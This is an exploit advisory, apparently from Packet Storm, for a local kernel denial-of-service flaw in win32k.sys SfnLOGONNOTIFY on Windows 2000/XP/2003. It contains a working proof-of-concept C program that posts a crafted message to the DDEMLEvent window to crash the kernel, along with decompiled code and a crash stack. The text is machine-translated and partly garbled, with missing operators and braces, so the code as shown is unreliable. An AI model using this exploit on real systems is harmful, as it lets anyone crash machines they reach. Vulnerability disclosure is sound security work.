Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY Denial Of Service

Type packetstorm
Reporter MJ0011
Modified 2010-04-23T00:00:00


                                            `Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability   
Effect : Microsoft Windows 2000/XP/2003 full patch   
Published: 2010-04-22  
Vulnerability Details:   
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some   
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003   
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12   
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to   
if (wParam == 4 | | wParam == 13 | | wParam == 12)   
v18 = * (_DWORD *) lParam;   
v19 = * (_DWORD *) (lParam 4);   
v20 = * (_DWORD *) (lParam 8);   
v21 = * (_DWORD *) (lParam 12);   
Exploit code:   
# Include "stdafx.h"   
# Include "windows.h"   
int main (int argc, char * argv [])   
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\\nPressEnter");  
HWND hwnd = FindWindow ("DDEMLEvent", NULL);   
if (hwnd == 0)   
printf ("cannot find DDEMLEvent Window! \ n");   
return 0;   
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);   
return 0;   
Common crash stack:   
kd> kc   
win32k! SfnLOGONNOTIFY   
win32k! xxxDefWindowProc   
win32k! xxxEventWndProc   
win32k! xxxDispatchMessage   
win32k! NtUserDispatchMessage   
Windows 7/Vista no such problem   
Thanks to my colleagues LYL to help me discovered this vulnerability